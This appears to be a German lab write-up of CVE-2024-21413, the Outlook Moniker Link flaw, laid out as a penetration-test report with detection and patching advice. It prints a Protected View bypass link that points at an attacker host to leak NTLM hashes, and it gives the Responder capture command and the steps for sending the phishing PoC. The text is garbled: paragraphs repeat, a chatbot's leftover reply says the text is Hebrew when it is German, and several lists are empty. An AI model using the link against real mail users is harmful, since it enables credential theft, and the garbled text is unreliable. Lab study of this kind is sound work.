eylommaayan/thm---cve-2024-21413-moniker-link-microsoft-outlook-Am 13. Februar 2024 veröffentlichte Microsoft eine schwerwiegende Sicherheitslücke in Microsoft Outlook, die die Kennung CVE-2024-21413 erhielt und unter dem Namen Moniker Link Vulnerability bekannt ist. Die Schwachstelle ermöglicht es einem Angreifer, den Protected View-Mechanismus von Outlook zu umgehen.
Am 13. Februar 2024 veröffentlichte Microsoft eine schwerwiegende Sicherheitslücke in Microsoft Outlook, die die Kennung CVE-2024-21413 erhielt und unter dem Namen Moniker Link Vulnerability bekannt ist. Die Schwachstelle ermöglicht es einem Angreifer, den Protected-View-Mechanismus von Outlook zu umgehen.
Ausgezeichnet 👍 Im Folgenden finden Sie eine vollständige Übersetzung und Formulierung als Penetrationstest-Bericht (PT) in professionellem und klarem Hebräisch. Wie gewünscht – nur Übersetzung und Formulierung. Die Antworten, Screenshots und Vervollständigungen fügen Sie selbst hinzu, und wenn Sie möchten, helfe ich später.
Am 13. Februar 2024 veröffentlichte Microsoft eine schwerwiegende Sicherheitslücke in Microsoft Outlook, die die Kennung CVE-2024-21413 erhielt und unter dem Namen Moniker Link Vulnerability bekannt ist.
Die Schwachstelle ermöglicht es einem Angreifer, den Protected-View-Mechanismus von Outlook mithilfe eines speziellen Links (Moniker Link) zu umgehen und den Outlook-Client des Opfers dazu zu bringen, Anmeldeinformationen (NTLM-Hash) an einen vom Angreifer kontrollierten Server zu senden – ohne eine Datei auszuführen und ohne wirksame Sicherheitswarnung.
Die Schwachstelle kann zu einem Credential-Leak führen, und es besteht theoretisch auch die Möglichkeit einer Remote-Code-Ausführung (RCE).
(Schwachstellenbeschreibung)
Microsoft Outlook ermöglicht die Anzeige von E-Mails im HTML-Format und die Verarbeitung verschiedener Linktypen wie http:// und https://. Darüber hinaus unterstützt Outlook auch spezielle Links namens Moniker Links, die das Starten von Anwendungen oder den Zugriff auf externe Ressourcen im Betriebssystem ermöglichen.
Im Normalzustand, wenn eine E-Mail einen Link enthält, der eine externe Anwendung startet oder auf eine Systemressource zugreift (z. B. einen file://-Link), wird der Protected View-Sicherheitsmechanismus von Outlook aktiviert. Dieser Mechanismus zeigt eine Sicherheitswarnung an und blockiert gefährliche Aktionen wie das Ausführen von Code, Makros oder den Zugriff auf externe Netzwerkressourcen.
Allerdings wurde eine Schwachstelle in Outlook (CVE-2024-21413) gefunden, die es ermöglicht, den Protected View-Mechanismus durch einfache Manipulation eines Moniker Links zu umgehen.
Was wir gefunden haben (Findings)
Während des Tests wurde festgestellt, dass die Verwendung eines normalen Links des Typs:
file://ATTACKER_IP/test
bewirkt, dass Outlook versucht, über das SMB-Protokoll auf eine Netzwerkressource zuzugreifen, dieser Versuch jedoch vom Protected View blockiert wird.
Wenn der Link dagegen das Sonderzeichen ! und eine zusätzliche Textzeichenfolge enthält, zum Beispiel:
file://ATTACKER_IP/test!exploit
führt Outlook den Protected View nicht aus und versucht, eine Verbindung zum Remote-Server herzustellen.
Während dieses Versuchs:
Es ist wichtig zu beachten, dass die Remote-Freigabe nicht tatsächlich vorhanden sein muss, da der Authentifizierungsversuch in jedem Fall durchgeführt wird.
Auswirkungen (Impact)
Die Schwachstelle ermöglicht es dem Angreifer:
Darüber hinaus besteht, da Moniker Links den Windows-COM-Mechanismus (Component Object Model) verwenden, die theoretische Möglichkeit einer Remote-Code-Ausführung (RCE). Zum Zeitpunkt des Tests gibt es jedoch keinen öffentlichen Proof of Concept für die tatsächliche Nutzung von RCE durch diese Schwachstelle.
Ausnutzung der Schwachstelle (Exploitation)
Im Rahmen des Angriffs wird dem Opfer eine E-Mail mit einem Moniker Link gesendet, ähnlich dem in der vorherigen Aufgabe gezeigten. Das Ziel des Angreifers ist es, eine E-Mail mit einem Moniker Link zu erstellen, der den Protected View-Mechanismus von Outlook umgeht, sodass der Outlook-Client des Opfers beim Klicken auf den Link versucht, eine Datei von der Maschine des Angreifers zu laden. Dies führt dazu, dass der netNTLMv2-Hash des Opfers gesendet und vom Angreifer erfasst wird.
Vor der Durchführung des Angriffs betrachten wir einen Proof of Concept (PoC), der zu Demonstrationszwecken erstellt wurde (und auch auf GitHub verfügbar ist).
Autor: CMNatic | https://github.com/cmnatic Version: 1.0 | 19/02/2024
Der Code verwendet die Programmiersprache Python und sendet eine HTML-E-Mail mit einem bösartigen Moniker Link.
Beschreibung des PoC
Der PoC:
In einem realen Szenario ist ein vom Angreifer kontrollierter SMTP-Server erforderlich (in diesem Raum ist der Server bereits bereitgestellt).
Abhören zum Erfassen des Hashs – Responder
Nach dem Senden der E-Mail muss auf der Maschine des Angreifers ein Abhörwerkzeug wie Responder gestartet werden, um SMB-Anfragen zu erfassen.
In der THM AttackBox lautet der Schnittstellenname ens5:
responder -I ens5
Responder lauscht auf SMB-, LLMNR- und NBT-NS-Anfragen und ermöglicht das Erfassen von Authentifizierungsdaten.
Öffnen der Opfermaschine
Öffnen Sie die Opfermaschine über das Split-Screen-Fenster.
Starten Sie Outlook.
Wählen Sie die Option "I don't want to sign in or create an account".
Schließen Sie das Fenster zur Eingabe des Produktschlüssels.
Das Postfach des Opfers ist bereits vorkonfiguriert.
Ausführen des Exploits
Auf der AttackBox:
Erstellen Sie eine neue Datei namens exploit.py.
Fügen Sie den PoC-Code in die Datei ein.
Vor der Ausführung sind folgende Anpassungen vorzunehmen:
Aktualisieren Sie die IP-Adresse der Angreifermaschine im Moniker Link (Zeile 12).
Ersetzen Sie den Wert MAILSERVER durch die Adresse:
10.64.165.67
Danach führen Sie aus:
python3 exploit.py
Wenn Sie zur Eingabe eines Passworts aufgefordert werden, geben Sie ein:
attacker
Wenn der Vorgang erfolgreich ist, wird die folgende Meldung angezeigt:
Email delivered
Ergebnis
Nach dem Öffnen der E-Mail auf der Opfermaschine und dem Klicken auf den Link "Click me":
Erkennung
YARA
Eine YARA-Regel wurde von Florian Roth erstellt, um E-Mails zu erkennen, die das Element file:\\ in einem Moniker Link enthalten – ein möglicher Hinweis auf einen Ausnutzungsversuch von CVE-2024-21413.
Beispiel für die YARA-Regel (wie sie im Raum erscheint):
(Der Code selbst bleibt unverändert wie im Original.)
Wireshark
Darüber hinaus kann die SMB-Anfrage von der Opfermaschine an die Angreifermaschine in einem Paketmitschnitt (Packet Capture) in Wireshark beobachtet werden.
Während der Anfrage:
Behebung
Prävention und Härtung (Remediation)
Microsoft hat Sicherheitsupdates zur Behebung dieser Schwachstelle im Rahmen der Patch-Tuesday-Updates vom Februar bereitgestellt. Die Liste der relevanten KB-Artikel nach Office-Versionen finden Sie im offiziellen Microsoft-Link.
Es wird dringend empfohlen, Microsoft Office über folgende Wege zu aktualisieren:
Windows Update
Microsoft Update Catalog
Darüber hinaus ist dies, bis die Updates auf allen Systemen abgeschlossen sind, eine wichtige Erinnerung an die Umsetzung grundlegender Informationssicherheitsmaßnahmen, insbesondere an die Sensibilisierung der Benutzer, wie zum Beispiel:
Da diese Schwachstelle den Protected-View-Mechanismus von Outlook umgeht, ist es nicht möglich, Outlook so zu konfigurieren, dass es diesen Angriff allein durch Konfigurationsänderungen blockiert.
Ebenso wird die vollständige Blockierung des SMB-Protokolls in den meisten Unternehmen nicht empfohlen, da das Protokoll für den Zugriff auf Netzwerkressourcen und Dateifreigaben unerlässlich ist. Es ist jedoch möglich, Blockierungen oder Einschränkungen auf Firewall-Ebene umzusetzen, abhängig von der Unternehmensrichtlinie und der Netzwerkstruktur.
Prävention und Härtung (Remediation)
Microsoft hat Sicherheitspatches für diese Schwachstelle im Rahmen der Patch-Tuesday-Updates vom Februar bereitgestellt. Die Liste der relevanten KB-Artikel je nach Office-Version finden Sie im offiziellen Microsoft-Link. Es wird dringend empfohlen, Microsoft Office über folgende Wege zu aktualisieren:
Windows Update
Microsoft Update Catalog
Darüber hinaus ist dies, bis die Updates auf allen Systemen implementiert sind, eine wichtige Erinnerung an die Umsetzung grundlegender Informationssicherheitsmaßnahmen, insbesondere an die Sensibilisierung der Benutzer, wie zum Beispiel:
Da diese Schwachstelle den Protected-View-Mechanismus von Outlook umgeht, ist es nicht möglich, den Angriff durch Konfigurationsänderungen innerhalb von Outlook selbst zu verhindern.
Ebenso wird die vollständige Blockierung des SMB-Protokolls in den meisten Unternehmen nicht empfohlen, da das Protokoll für den Zugriff auf Dateifreigaben und Netzwerkressourcen unerlässlich ist. Es ist jedoch möglich, Einschränkungen oder Blockierungen auf Firewall-Ebene umzusetzen, abhängig von der Sicherheitsrichtlinie und der Struktur des Unternehmensnetzwerks.
| Parameter | Wert |
|---|
| Schwachstellen-ID | CVE-2024-21413 |
| Veröffentlichungsdatum | 13. Februar 2024 |
| Entdecker | Haifei Li – Check Point Research |
| Auswirkung | Credential-Leak + potenzieller RCE |
| Schweregrad | Critical |
| Angriffskomplexität | Niedrig |
| CVSS-Score | 9.8 |
| Offizieller Link | https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413 |
